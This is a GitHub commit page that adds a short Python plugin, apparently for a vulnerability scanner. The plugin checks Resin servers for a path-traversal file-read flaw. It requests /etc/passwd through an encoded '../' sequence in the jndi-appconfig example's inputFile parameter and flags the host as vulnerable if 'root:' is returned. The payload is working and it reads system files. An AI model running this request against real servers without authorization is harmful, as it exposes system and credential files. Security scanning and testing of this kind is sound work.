Skip to content

Commit 9741d4e

Browse files
author
wolf
committed
Merge pull request #4 from jhhd88/patch-3
Create resin_fileread5.py
2 parents 4e4cbde + f13033c commit 9741d4e

1 file changed

Lines changed: 14 additions & 0 deletions

File tree

‎plugins/resin_fileread5.py‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
#coding:utf-8
2+
#author:wolf@future-sec
3+
import urllib2
4+
def check(host,port,timeout):
5+
url = "http://%s:%d"%(host,int(port))
6+
vul_url = url + "/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
7+
try:
8+
res_html = urllib2.urlopen(vul_url,timeout=timeout).read()
9+
except:
10+
return 'NO'
11+
if "root:" in res_html:
12+
info = vul_url + " Resin File Read Vul"
13+
return 'YES|'+info
14+
return 'NO'

0 commit comments

Comments
 (0)